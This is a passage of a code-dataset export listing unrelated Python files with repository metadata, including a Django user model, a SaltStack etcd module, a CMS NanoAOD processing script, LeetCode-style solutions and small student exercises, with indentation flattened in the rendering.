# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import webapp2
class MainHandler(webapp2.RequestHandler):
def get(self):
self.redirect("https://www.cafago.com/", True)
# and this is the main code
app = webapp2.WSGIApplication([
('/', MainHandler)
], debug=True)
| [
"[email protected]"
] | |
3f5558073db52ebd7d4b613fe62fe6243b35f4a1 | 6b4995ee1ccfe6fc3717472691f8355f07911e27 | /Task5- all exercises.py | 69ee159dbbd72112c0b80e58e89c68902f5d54eb | [] | no_license | Vahi-vai/python-bootcamp | d8a1763eb76a35cc9327db9172c0a09f60111a41 | ca56b515bd78b50945ee534fd5b8b9fdbbb19dc9 | refs/heads/main | 2023-06-07T02:47:40.012586 | 2021-07-11T04:30:52 | 2021-07-11T04:30:52 | 376,225,006 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 632 | py | # Exercise 1
n = int(input("Enter the number of integers: "))
c = list()
for i in range(0 , n):
a = int(input("Enter number"))
c.append(a)
print(c)
d = int(input("Enter a number to add in the list:"))
c.append(d) # adds am item
print(c)
c.remove(c[3]) #removes an item
print (" List after deleting an item",c)
c.sort() #sorts the list
e = c[len(c) - 1] #saving the largest number
print("Largest number is", e )
f = c[0] # saving the smallest number
print("smallest number", f)
#Exercise 2
h = ("vaishnav", 52,'aisha')
print( h[::-1])
#Exercise 3
j = ("ganesha", 956,"shiva")
k = list(j)
print(k) | [
"[email protected]"
] | |
a8f10e3ddfda06e48d6ace2d0724861e85dc1285 | 48b199da66b48b0274c63d35dd2a5c55e26d6b73 | /venv/Scripts/pip3.7-script.py | 063a86ab26708b7f80e4e9e6a059bad34d8a11d2 | [] | no_license | warrenlam666/SISE_Schedule | 36b03a4024baf6f0eb8d8467c044d5a19b909ade | 3f53cd72c42c4ef5c38d4c3a9987bf95131581e4 | refs/heads/master | 2022-11-06T11:29:39.725888 | 2018-12-24T12:52:07 | 2018-12-24T12:52:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 414 | py | #!C:\Users\jacky\PycharmProjects\lab1\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3.7'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==10.0.1', 'console_scripts', 'pip3.7')()
)
| [
"[email protected]"
] | |
ef002309b9b9c3f498706d9386d2ca3d649cf784 | 8745adb4191c3275acf31371baac807e5d2b26d7 | /tests/test_tutorial/test_custom_response/test_tutorial006.py | 2a90568c46f7501b63a41c2bcb0446f1bb27d10b | [
"MIT"
] | permissive | mizzsugar/fastapi | df00aa7879e3d084133395f1a8f280d9f1e74f7f | fd99dfc95b4501d7cd3d0d8aae0dcdbba9ebb527 | refs/heads/master | 2021-05-23T09:24:58.635670 | 2020-04-04T20:38:17 | 2020-04-04T20:38:17 | 253,220,037 | 0 | 0 | MIT | 2020-04-05T11:35:42 | 2020-04-05T11:35:41 | null | UTF-8 | Python | false | false | 301 | py | from fastapi.testclient import TestClient
from custom_response.tutorial006 import app
client = TestClient(app)
def test_get():
response = client.get("/typer", allow_redirects=False)
assert response.status_code == 307
assert response.headers["location"] == "https://typer.tiangolo.com"
| [
"[email protected]"
] | |
ffb729a9c9bc98158b029d00934d6d6fe7adc21b | 98c6ea9c884152e8340605a706efefbea6170be5 | /examples/data/Assignment_6/clsher003/question1.py | 058ec829adfcae2ed83764f5753353af704e4d03 | [] | no_license | MrHamdulay/csc3-capstone | 479d659e1dcd28040e83ebd9e3374d0ccc0c6817 | 6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2 | refs/heads/master | 2021-03-12T21:55:57.781339 | 2014-09-22T02:22:22 | 2014-09-22T02:22:22 | 22,372,174 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 667 | py | """program to print a list of names right-aligned
herman claassens
20 april 2014"""
names=[]
lengths=[]
name = input ("Enter strings (end with DONE):\n") #get names
while name != "DONE": #sentinel to stop loop
names.append (name) #add length of names and names to 2 empty lists
lengths.append(len(name))
name = input ("")
lengths.sort() #determine longest name
lengths.reverse()
print()
if lengths==[]:
print("Right-aligned list:")
else:
longest_string=lengths[0]
print('Right-aligned list:')
for name in names:
length_name=len(name)
spaces=longest_string-length_name
print(' '*spaces+name) # print spaces and name
| [
"[email protected]"
] | |
30ba3ce923922fc5e2e2b1e6c34a6a556398c796 | b3d335f6719f22df785ee0505179099f5679c2b2 | /app/core/models.py | 26839e9266b599355df77a18cf723508f6bea7e9 | [
"MIT"
] | permissive | martijnschut/recipe-app-api | c29b6a1b01b7bcfacbf5e8c4c0d22fda2ed97dfd | b5656abeb7af4bb8ae3430fec16e83a6de4422c8 | refs/heads/master | 2020-12-07T20:26:40.902742 | 2020-01-13T14:16:37 | 2020-01-13T14:16:37 | 232,794,431 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,242 | py | from django.db import models
from django.contrib.auth.models import AbstractBaseUser, BaseUserManager, \
PermissionsMixin
class UserManager(BaseUserManager):
def create_user(self, email, password=None, **extra_fields):
"""Creates and saves a new user"""
if not email:
raise ValueError('Users must have an email address')
user = self.model(email=self.normalize_email(email), **extra_fields)
user.set_password(password)
user.save(using=self._db)
return user
def create_superuser(self, email, password):
"""Creates a new superuser"""
user = self.create_user(email, password)
user.is_staff = True
user.is_superuser = True
user.save(using=self._db)
return user
class User(AbstractBaseUser, PermissionsMixin):
"""Custom user model that support using email instead of username"""
email = models.EmailField(max_length=255, unique=True)
name = models.CharField(max_length=255)
is_active = models.BooleanField(default=True)
is_staff = models.BooleanField(default=False)
objects = UserManager()
USERNAME_FIELD = 'email' | [
"[email protected]"
] | |
321864d35d43cf9a53ef3698d0b56fb84e6bdada | 50dcf543d5d9963f939e5a9cc9bd5c9473d9346e | /ode_data_access/chunk_processor.py | 5b9a55bb8f752ae76f6a0e8f1e626c9076b0e8f6 | [
"MIT"
] | permissive | Sumbul-Z/mars-ode-data-access | 1e329a693793cf530f7556f19230e10c2f4315ff | 426d2c22e56b0c58f7f275d848d22d1e0a2786ec | refs/heads/master | 2020-06-05T19:52:00.099632 | 2019-06-16T05:38:42 | 2019-06-16T05:38:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,205 | py | import matplotlib.image as mpimg
import cv2
import rasterio
from ode_data_access.image_utils import view_as_blocks, is_black, align_and_crop
import os
import numpy as np
from tqdm import tqdm
class ChunkProcessor:
def write_result_blocks(self, result_blocks, window, product_name, chunk_size, save_dir='test', skip_black_images=False,
align_images=False, vectorized_chunks=None):
for i in range(result_blocks.shape[0]):
for j in range(result_blocks.shape[1]):
img = result_blocks[i][j]
if not skip_black_images or not is_black(img):
filename = f'{product_name}_img_row_{window.row_off}_col_{window.col_off}_w_{window.width}_h_{window.height}_x_{i}_y_{j}.jpg'
filepath = './' + save_dir + '/' + filename
mpimg.imsave(filepath, img, cmap="gray")
img = mpimg.imread(filepath)
if align_images:
img = align_and_crop(img)
img = cv2.resize(img, (chunk_size, chunk_size), cv2.INTER_AREA)
mpimg.imsave(filepath, img, cmap='gray')
new_filename = f'{product_name}_img_row_{window.row_off}_col_{window.col_off}_w_{img.shape[1]}_h_{img.shape[0]}_x_{i}_y_{j}.jpg'
new_filepath = './' + save_dir + '/' + new_filename
os.rename(filepath, new_filepath)
if vectorized_chunks is not None:
vectorized_chunks.append(img.astype(np.uint8))
# Based on the idea provided here - https://gis.stackexchange.com/questions/158527/reading-raster-files-by-block-with-rasterio
def chunkify(self, img_file, product_name, chunk_size=256, save_dir='test', skip_black_images=True, align_images=False,
vectorized_chunks=None):
with rasterio.open(img_file) as src:
print('Resolution =', src.width, 'x', src.height)
print('Estimated number of iterations =', ((src.width * src.height) / (1024 * 1024)) * 1.085)
for block_index, window in tqdm(src.block_windows(1)):
block_array = src.read(window=window)
# print('Block array', block_array.shape)
block_array = np.moveaxis(block_array, 0, -1)
# print('Move axis', block_array.shape)
if block_array.shape[2] != 1:
block_array = cv2.cvtColor(block_array, cv2.COLOR_RGB2GRAY)
else:
block_array = np.squeeze(block_array)
block_array_shape = block_array.shape
# plt.imshow(block_array, cmap='gray')
# print('Grayscale Block Shape', block_array_shape)
if block_array_shape[0] % chunk_size == 0 and block_array_shape[1] % chunk_size == 0:
result_blocks = view_as_blocks(block_array, block_shape=(chunk_size, chunk_size))
self.write_result_blocks(result_blocks, window, product_name, chunk_size, save_dir, skip_black_images,
align_images, vectorized_chunks)
def chunkify_all(self, save_dir_prefix, chunk_size, product_image_urls, skip_black_images=True, align_images=False,
vectorized_chunks=None):
for product_image_url, product_name in product_image_urls:
filename = product_image_url.split('/')[-1]
if filename.endswith('JP2'):
print('Chunkifying', product_name)
jp2_filename = filename
chunk_dir = save_dir_prefix + '_' + product_name
if not os.path.exists(chunk_dir):
os.makedirs(chunk_dir)
self.chunkify(jp2_filename, product_name, chunk_size, chunk_dir, skip_black_images, align_images,
vectorized_chunks)
print("Number of chunks found:",
len([name for name in os.listdir(chunk_dir) if os.path.isfile(chunk_dir + '/' + name)]))
print('-----') | [
"[email protected]"
] | |
8487427299aa773638854c89bd6c7a52d9c6911c | 8e90afd3f0dc945d9ebd6099a60094807c0067cf | /Kangho/BOJ_5107.py | a2c59908815b329dfa70f1dcc376d6f3bcb44cb4 | [] | no_license | Deserve82/KK_Algorithm_Study | ffa109e02f1c9297597c9e07c7c3006628046740 | d3ec01b66d6e3852b7d68adaa8ba87c7e9617e24 | refs/heads/master | 2021-11-10T00:23:30.711422 | 2021-10-23T02:37:04 | 2021-10-23T02:37:04 | 231,358,800 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,435 | py | answer = 0
count = 1
def bfs(g):
global answer
answer = 0
for i in range(n):
for j in range(n):
if g[i][j] == 1:
g[i][j] = 0
g[j][i] = 0
que = [j]
answer += 1
while que:
haha = que.pop(0)
for k in range(n):
if g[haha][k] == 1:
que.append(k)
g[haha][k] = 0
g[k][haha] = 0
while True:
n = int(input())
if n == 0:
break
graph = [[0] * n for _ in range(n)]
people = []
for _ in range(n):
f1 = False
f2 = False
name1, name2 = input().split()
if name1 not in people:
people.append(name1)
f1 = True
if name2 not in people:
people.append(name2)
f2 = True
if f1 and f2:
graph[len(people) - 1][len(people) - 2] = 1
graph[len(people) - 2][len(people) - 1] = 1
else:
index1 = 0
index2 = 0
for i in range(len(people)):
if people[i] == name1:
index1 = i
if people[i] == name2:
index2 = i
graph[index1][index2] = 1
graph[index2][index1] = 1
bfs(graph)
print(count, answer)
count += 1
| [
"[email protected]"
] | |
f1d7b30832e3ae6aa50340561d93297228bc9f3c | 87daea58b4b1481160eb6a26c58bca0de6533fb8 | /salt/modules/etcd_mod.py | 09d4ebadc4e9928ed34bea52747cf4ea02b66344 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT"
] | permissive | getlantern/salt | 4640cf1606d4401c1fba21dfd0464142c7b753a2 | 201008b35d799bee5c33e4060241a21e08661def | refs/heads/develop | 2023-08-30T13:23:14.966320 | 2014-05-22T22:48:19 | 2014-05-22T22:48:19 | 15,692,073 | 0 | 2 | NOASSERTION | 2023-09-06T17:29:20 | 2014-01-07T01:39:20 | Python | UTF-8 | Python | false | false | 3,398 | py | # -*- coding: utf-8 -*-
'''
Execution module to work with etcd
:depends: - python-etcd
In order to use an etcd server, a profile should be created in the master
configuration file:
.. code-block:: yaml
my_etd_config:
etcd.host: 127.0.0.1
etcd.port: 4001
It is technically possible to configure etcd without using a profile, but this
is not consided to be a best practice, especially when multiple etcd servers or
clusters are available.
.. code-block:: yaml
etcd.host: 127.0.0.1
etcd.port: 4001
'''
# Import python libs
import logging
# Import third party libs
try:
import salt.utils.etcd_util
HAS_LIBS = True
except Exception:
HAS_LIBS = False
__virtualname__ = 'etcd'
# Set up logging
log = logging.getLogger(__name__)
# Define a function alias in order not to shadow built-in's
__func_alias__ = {
'get_': 'get',
'set_': 'set',
'rm_': 'rm',
'ls_': 'ls'
}
def __virtual__():
'''
Only return if python-etcd is installed
'''
return __virtualname__ if HAS_LIBS else False
def get_(key, recurse=False, profile=None):
'''
.. versionadded:: Helium
Get a value from etcd, by direct path
CLI Examples:
salt myminion etcd.get /path/to/key
salt myminion etcd.get /path/to/key profile=my_etcd_config
salt myminion etcd.get /path/to/key recurse=True profile=my_etcd_config
'''
client = salt.utils.etcd_util.get_conn(__opts__, profile)
result = client.get(key)
if recurse:
return salt.utils.etcd_util.tree(client, key)
else:
return result.value
def set_(key, value, profile=None):
'''
.. versionadded:: Helium
Set a value in etcd, by direct path
CLI Example:
salt myminion etcd.set /path/to/key value
salt myminion etcd.set /path/to/key value profile=my_etcd_config
'''
client = salt.utils.etcd_util.get_conn(__opts__, profile)
return client.write(key, value)
def ls_(path='/', profile=None):
'''
.. versionadded:: Helium
Return all keys and dirs inside a specific path
CLI Example:
salt myminion etcd.ls /path/to/dir/
salt myminion etcd.ls /path/to/dir/ profile=my_etcd_config
'''
ret = {}
client = salt.utils.etcd_util.get_conn(__opts__, profile)
items = client.get(path)
for item in items.children:
if item.dir is True:
dir_name = '{0}/'.format(item.key)
ret[dir_name] = {}
else:
ret[item.key] = item.value
return {path: ret}
def rm_(key, recurse=False, profile=None):
'''
.. versionadded:: Helium
Delete a key from etcd
CLI Example:
salt myminion etcd.rm /path/to/key
salt myminion etcd.rm /path/to/key profile=my_etcd_config
salt myminion etcd.rm /path/to/dir recurse=True profile=my_etcd_config
'''
client = salt.utils.etcd_util.get_conn(__opts__, profile)
return client.delete(key, recursive=recurse)
def tree(path='/', profile=None):
'''
.. versionadded:: Helium
Recurse through etcd and return all values
CLI Example:
salt myminion etcd.tree
salt myminion etcd.tree profile=my_etcd_config
salt myminion etcd.tree /path/to/keys profile=my_etcd_config
'''
client = salt.utils.etcd_util.get_conn(__opts__, profile)
return salt.utils.etcd_util.tree(client, path)
| [
"[email protected]"
] | |
4a3b642aefda05eb2ed1f7020faed54e66df2bdf | b1e7481f8b5bf40c2547c95b1863e25b11b8ef78 | /Kai/crab/NANOv7_NoveCampaign/2018/crab_script_2018_ttH.py | 76504d01e37e6360bba59196ac915557b5272147 | [
"Apache-2.0"
] | permissive | NJManganelli/FourTopNAOD | 3df39fd62c0546cdbb1886b23e35ebdc1d3598ad | c86181ae02b1933be59d563c94e76d39b83e0c52 | refs/heads/master | 2022-12-22T22:33:58.697162 | 2022-12-17T01:19:36 | 2022-12-17T01:19:36 | 143,607,743 | 1 | 1 | Apache-2.0 | 2022-06-04T23:11:42 | 2018-08-05T11:40:42 | Python | UTF-8 | Python | false | false | 6,811 | py | #!/usr/bin/env python
import os, time, collections, copy, json, multiprocessing
from PhysicsTools.NanoAODTools.postprocessing.framework.postprocessor import *
from PhysicsTools.NanoAODTools.postprocessing.framework.crabhelper import inputFiles,runsAndLumis
from PhysicsTools.NanoAODTools.postprocessing.modules.common.puWeightProducer import *
from PhysicsTools.NanoAODTools.postprocessing.modules.btv.btagSFProducer import *
from PhysicsTools.NanoAODTools.postprocessing.modules.jme.jetmetHelperRun2 import *
from FourTopNAOD.Kai.modules.LeptonSkimmer import *
from FourTopNAOD.Kai.modules.JetMETSkimmer import *
isData = False
isUltraLegacy = False
era = "2018"
subera = None
thePreselection = None
crossSection = 0.2934
equivLumi = 59.97
nEventsPositive = 7916867
nEventsNegative = 83133
sumWeights = 4216319.31588
TriggerChannel = None
JESUnc = "Merged" # options: "All", "Merged", "Total"
theFiles = inputFiles()
GoldenJSON = {"2016": {"non-UL": "Cert_271036-284044_13TeV_ReReco_07Aug2017_Collisions16_JSON.txt",
"UL": "Cert_271036-284044_13TeV_Legacy2016_Collisions16_JSON.txt"
},
"2017": {"non-UL": "Cert_294927-306462_13TeV_EOY2017ReReco_Collisions17_JSON_v1.txt",
"UL": "Cert_294927-306462_13TeV_UL2017_Collisions17_GoldenJSON.txt"
},
"2018": {"non-UL": "Cert_314472-325175_13TeV_17SeptEarlyReReco2018ABC_PromptEraD_Collisions18_JSON.txt",
"UL": "Cert_314472-325175_13TeV_Legacy2018_Collisions18_JSON.txt"
}
}
if isData:
theLumis = os.path.join(os.environ["CMSSW_BASE"], "python/FourTopNAOD/Kai/jsons", GoldenJSON.get(era).get("UL" if isUltraLegacy else "non-UL"))
print("Loading Golden Json: {}".format(theLumis))
if not os.path.isfile(theLumis):
theLumis = os.path.join(os.environ["CMSSW_BASE"], "src/FourTopNAOD/Kai/python/jsons", GoldenJSON.get(era).get("UL" if isUltraLegacy else "non-UL"))
if not os.path.isfile(theLumis):
raise RuntimeError("Valid GoldenJSON file not found, if running on CRAB try a new scram build before resubmitting")
else:
theLumis = None
moduleCache = []
if not isData:
if era == "2016":
moduleCache.append(puWeight_2016())
elif era == "2017":
moduleCache.append(puWeight_2017())
elif era == "2018":
moduleCache.append(puWeight_2018())
else:
raise RuntimeError("Unexpected era identifier {}".format(era))
if JESUnc in ["All", "Merged"]: #btag POG provides all JEC unc sources, except for RelativeSample
btagjes_sources = ['jes', 'jesAbsoluteMPFBias', 'jesAbsoluteScale', 'jesAbsoluteStat', 'jesFlavorQCD', 'jesFragmentation', 'jesPileUpDataMC', 'jesPileUpPtBB', 'jesPileUpPtEC1', 'jesPileUpPtEC2', 'jesPileUpPtHF', 'jesPileUpPtRef', 'jesRelativeBal', 'jesRelativeFSR', 'jesRelativeJEREC1', 'jesRelativeJEREC2', 'jesRelativeJERHF', 'jesRelativePtBB', 'jesRelativePtEC1', 'jesRelativePtEC2', 'jesRelativePtHF', 'jesRelativeStatEC', 'jesRelativeStatFSR', 'jesRelativeStatHF', 'jesSinglePionECAL', 'jesSinglePionHCAL', 'jesTimePtEta']
# if JESUnc == "Merged": #no btag shape unc for regrouped JEC available, so use the total one ("jes") and the remaining single ones that are not grouped (see also: https://docs.google.com/spreadsheets/d/1Feuj1n0MdotcPq19Mht7SUIgvkXkA4hiB0BxEuBShLw/edit#gid=1345121349)
# btagjes_sources = ['jes', 'jesFlavorQCD','jesPileUpPtEC2', 'jesRelativeBal']
else:
btagjes_sources = ['jes']
moduleCache.append(btagSFProducer(era,
algo="deepjet",
selectedWPs=['M', 'shape_corr'],
sfFileName=None, #Automatically deduced
verbose=0,
jesSystsForShape=btagjes_sources
)
)
moduleCache.append(btagSFProducer(era,
algo="deepcsv",
selectedWPs=['M', 'shape_corr'],
sfFileName=None, #Automatically deduced
verbose=0,
jesSystsForShape=btagjes_sources
)
)
#Need to make it into a function, so extra () pair...
jmeModule = createJMECorrector(isMC=(not isData),
dataYear=int(era),
runPeriod=subera if isData else None,
jesUncert=JESUnc,
jetType="AK4PFchs",
noGroom=False,
metBranchName="METFixEE2017" if era == "2017" else "MET",
applySmearing=True,
isFastSim=False,
applyHEMfix=True if era == "2018" and isUltraLegacy else False,
splitJER=False,
saveMETUncs=['T1', 'T1Smear']
)
moduleCache.append(jmeModule())
moduleCache.append(TriggerAndLeptonSkimmer('baseline',
era=era,
subera=subera,
isData=isData,
TriggerChannel=TriggerChannel,
fillHists=False,
mode="Flag",
)
)
moduleCache.append(JetMETSkimmer(jetMinPt=20.0,
jetMaxEta=2.4 if era == "2016" else 2.5,
jetMinID=0b010,
jetMinCount=4,
minPseudoHT=350,
fillHists=False
)
)
p=PostProcessor(".",
theFiles,
modules=moduleCache,
cut=thePreselection,
provenance=True,
fwkJobReport=True,
jsonInput=theLumis,
histFileName="hist.root",
histDirName="plots",
branchsel=None,
outputbranchsel=None,
compression="LZMA:9",
friend=False,
postfix=None,
noOut=False,
justcount=False,
haddFileName="tree.root",
maxEntries=None,
firstEntry=0,
prefetch=True,
longTermCache=False
)
p.run()
| [
"[email protected]"
] | |
bb998af8934c9a0972a532cc39958f59698e3f40 | ab3ce5ec371bbd069843e93eaebe3aad5b98e9d2 | /my query/Python_postgre_sql/movies/database.py | c8e22877c315631adf901764e2d721242638f97e | [] | no_license | katlehotsopane/SQL2 | d947012cae4fa2131a253944d81b0d48ba8e5f10 | 58379214c3244ba466fb02e7f12f4a907debb676 | refs/heads/main | 2023-07-03T12:31:19.589899 | 2021-08-05T19:14:13 | 2021-08-05T19:14:13 | 393,133,909 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,038 | py | import os
import datetime
from sqlite3 import Cursor
import psycopg2
from dotenv import load_dotenv
load_dotenv()
CREATE_MOVIES_TABLE = """CREATE TABLE IF NOT EXISTS movies (
id SERIAL PRIMARY KEY,
title TEXT,
release_timestamp REAL
);"""
CREATE_USERS_TABLE = """CREATE TABLE IF NOT EXISTS users(
username TEXT PRIMARY KEY
)
"""
CREATE_WATCHED_TABLE = """CREATE TABLE IF NOT EXISTS watched (
user_username TEXT,
movie_id INTEGER,
FOREIGN KEY(user_username) REFERENCES users(username),
FOREIGN KEY(movie_id) REFERENCES movies(id)
);"""
INSERT_MOVIE = "INSERT INTO movies (title, release_timestamp) VALUES (%s, %s);"
INSERT_USER = "INSERT INTO users(username) VALUES (%s)"
DELETE_MOVIE = "DELETE FROM movies WHERE title %s;"
SELECT_ALL_MOVIES = "SELECT * FROM movies;"
SELECT_UPCOMING_MOVIES = "SELECT * FROM movies WHERE release_timestamp > %s;"
SET_MOVIE_WATCHED = "UPDATE movies SET watched = 1 WHERE title = %s;"
INSERT_WATCHED_MOVIE = "INSERT INTO watched (user_username, movie_id) VALUES (%s, %s)"
SELECT_WATCHED_MOVIES = """SELECT movies.* FROM movies
JOIN watched ON movies.id = watched.movie_id
JOIN users ON users.username = watched.user_username
WHERE users.username = %s;"""
SEARCH_MOVIES = "SELECT * FROM movies WHERE title = %s;"
CREATE_RELEASE_INDEX = "CREATE INDEX IF NOT EXISTS idx_movies_release ON movies(release_timestamp);"
connection = psycopg2.connect(os.environ.get["DATABASE_URI"])
def create_tables():
with connection:
with connection.cursor() as cursor:
cursor.execute(CREATE_MOVIES_TABLE)
cursor.execute(CREATE_USERS_TABLE)
cursor.execute(CREATE_WATCHED_TABLE)
def add_user(username):
with connection:
with connection.cursor() as cursor:
cursor.execute(INSERT_USER, (username,))
def add_movie(title, release_timestamp):
with connection:
with connection.cursor() as cursor:
cursor.execute(INSERT_MOVIE, (title, release_timestamp))
def get_movies(upcoming=False):
with connection:
with connection.cursor() as cursor:
if upcoming:
today_timestamp = datetime.datetime.today().timestamp()
cursor.execute(SELECT_UPCOMING_MOVIES, (today_timestamp,))
else:
cursor.execute(SELECT_ALL_MOVIES)
return cursor.fetchall()
def search_movies(search_term):
with connection:
with connection.cursor() as cursor:
Cursor.execute(SEARCH_MOVIES, (f"%{search_term}%",))
return Cursor.fetchall()
def watch_movie(username, movie_id):
with connection:
with connection.cursor() as cursor:
cursor.execute(INSERT_WATCHED_MOVIE, (username, movie_id))
def get_watched_movies(username):
with connection:
with connection.cursor() as cursor:
cursor.execute(SELECT_WATCHED_MOVIES, (username,))
return cursor.fetchall() | [
"[email protected]"
] | |
2698b7e7db63e9abc2e259ba8f01871c5bfa5c37 | 6580ba5d135c4f33f1a0996953ba2a65f7458a14 | /applications/ji163/models/fdform_wysiwygform1.py | 54e1fd5f02d7e21ac0e8aab90e4b44d6f2322cd6 | [
"MIT",
"LicenseRef-scancode-public-domain"
] | permissive | ali96343/facew2p | 02b038d3853691264a49de3409de21c8a33544b8 | a3881b149045e9caac344402c8fc4e62edadb42f | refs/heads/master | 2021-06-10T17:52:22.200508 | 2021-05-10T23:11:30 | 2021-05-10T23:11:30 | 185,795,614 | 7 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | db.define_table( 'dform_wysiwygform1',
Field( 'f0', 'text', label= 'f0' , default= 'w2p f0'),
) | [
"[email protected]"
] | |
849897ffc7915d84e2c753903d8584dd267af86f | 8a707aacc9ecd999cb2a996f91a718ce02f6205c | /leetcode/NumberOfIslands.py | a8c08e7412b2a4e767cc89e90660e0e07469baaf | [] | no_license | seeyarh/interview-prep | e074f68f1c1c05b9ab0911f30b13dad69c7bbfb8 | 1af5f79ed9dcf334d2758e14a9c08e7880246a4f | refs/heads/master | 2022-03-13T12:26:59.441211 | 2019-11-14T19:35:31 | 2019-11-14T19:35:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,488 | py | '''
Given a 2d grid map of '1's (land) and '0's (water), count the number of islands. An island is surrounded by water and is formed by connecting adjacent lands horizontally or vertically. You may assume all four edges of the grid are all surrounded by water.
Example 1:
Input:
11110
11010
11000
00000
Output: 1
Example 2:
Input:
11000
11000
00100
00011
Output: 3
'''
class Solution:
def numIslands(self, grid):
if not grid or not grid[0]:
return 0
rows = len(grid)
cols = len(grid[0])
def dfs(i,j):
if i >= rows or j >= cols or i < 0 or j < 0 or grid[i][j] != '1':
return
grid[i][j] = '0'
dfs(i+1,j)
dfs(i-1,j)
dfs(i,j+1)
dfs(i,j-1)
islands = 0
for i in range(rows):
for j in range(cols):
if grid[i][j] == '1':
dfs(i,j)
islands += 1
return islands
'''
Time limit exceeded
if not grid:
return 0
rows = len(grid)
cols = len(grid[0])
unvisited = set()
for i in range(rows):
for j in range(cols):
if grid[i][j] == '1':
unvisited.add((i,j))
def bfs(i,j):
queue = []
queue.append((i,j))
unvisited.add((i,j))
while(queue):
v = queue.pop(0)
if v in unvisited:
unvisited.remove((v[0],v[1]))
up = down = left = right = (v[0], v[1])
if v[0]+1 < rows:
up = (v[0]+1, v[1])
if v[1]+1 < cols:
right = (v[0], v[1]+1)
if v[0]-1 >= 0:
down = (v[0]-1, v[1])
if v[1]-1 >= 0:
left = (v[0], v[1]-1)
adjs = [up, down, left, right]
for adj in adjs:
if adj in unvisited and grid[adj[0]][adj[1]] == '1':
queue.append(adj)
islands = 0
while(unvisited):
islands += 1
start = unvisited.pop()
bfs(start[0], start[1])
return islands
'''
sol = Solution()
grid = [["1","1","1","1","0"],["1","1","0","1","0"],["1","1","0","0","0"],["0","0","0","0","0"]]
print('Input')
for row in grid:
print(row)
print(f'Output = {sol.numIslands(grid)}')
| [
"[email protected]"
] | |
1eec8b389e432b89c9f3dc329f854dc8655c5be7 | 828c990f52678463cf2ad131dd5fb148b27a456e | /pythontest/demo.py | baec58ac80f74d07d6461895b400f71f2d4bd42d | [] | no_license | yihanzhang9601/testZhang | d055ba5524a7eef4e1e32ab4508ff6bf862c397b | f10ece02fba4680e5115950f50efecb0a21cb1f7 | refs/heads/master | 2020-03-17T23:36:58.835121 | 2019-07-09T10:12:07 | 2019-07-09T10:12:07 | 134,040,160 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 434 | py | #!/usr/bin/env python37
# -*- coding:UTF-8 -*-
# n = 0
# for i in range(1,101,2):
# n =i+n
# # print("那就是",n)
# def shouzimudaxie(x):
# return [i.title() for i in x]
# def shouzimuxiaoxie(x):
# return [i.lower() for i in x]
# def gaojie_diaoyongszmdx(c,x):
# return c(x)
#
# n = input("输入文件名(注意格式！)：")
# foo = open(n)
# print(foo.read())
# foo.close()
# print('done')
# 拷贝文件 *
| [
"[email protected]"
] | |
4ff46fa330fe84aa19d774d596b8e135bedc7d47 | d28eceef81890020ad0b7b31634fd91406231389 | /src/OTC/api/permissions.py | d96d08fe83c8b0c1cf54d5ef3651b1e743039bad | [] | no_license | Jone2018/TradingCenterProject | 638f52e44aad9dddbb352ddffa68250b658b7e84 | b34d06ff01509b5ef65b1206deae1b6632695141 | refs/heads/master | 2021-04-26T23:31:20.834960 | 2018-03-05T12:40:43 | 2018-03-05T12:40:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 691 | py | from rest_framework import permissions
class IsOwnerOrReadOnly(permissions.BasePermission):
"""
Object-level permission to only allow owners of an object to edit it.
Assumes the model instance has an `owner` attribute.
"""
def has_object_permission(self, request, view, obj):
# Read permissions are allowed to any request,
# so we'll always allow GET, HEAD or OPTIONS requests.
if request.method in permissions.SAFE_METHODS:
return True
return obj.user == request.user
class IsOwnerAndReadOnly(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
return obj.user == request.user
| [
"dora1234"
] | dora1234 |
36d3eabf1a379daea54d9f996723fcf2231dcf2b | 51727c2c489e8da3365da130a2509880d10b56bb | /utils/token_utils.py | 72cd62f7f497900366a994d294b2160fe2e25be8 | [] | no_license | Demon000/odomu-server | e9b98904c5b1105e6015bdea50c9cfc624305119 | c6c54e37a92e9d6f8c4cdfe5e893cc340687ca35 | refs/heads/master | 2023-02-14T21:08:19.996100 | 2021-01-12T01:05:59 | 2021-01-12T02:38:16 | 325,370,438 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 806 | py | from calendar import timegm
from datetime import datetime
from enum import Enum
from utils.errors import JWTAccessTokenNotFresh
class TokenType(Enum):
ACCESS = 'access'
REFRESH = 'refresh'
def verify_fresh_token(decoded_token: dict):
fresh = decoded_token['fresh']
if isinstance(fresh, bool):
if not fresh:
raise JWTAccessTokenNotFresh('Fresh field is false')
elif isinstance(fresh, int):
now = timegm(datetime.utcnow().utctimetuple())
if fresh < now:
raise JWTAccessTokenNotFresh('Fresh field is older than current time')
else:
raise JWTAccessTokenNotFresh('Fresh field has invalid type')
def get_token_identity(decoded_token: dict):
if not decoded_token:
return None
return decoded_token['identity']
| [
"[email protected]"
] | |
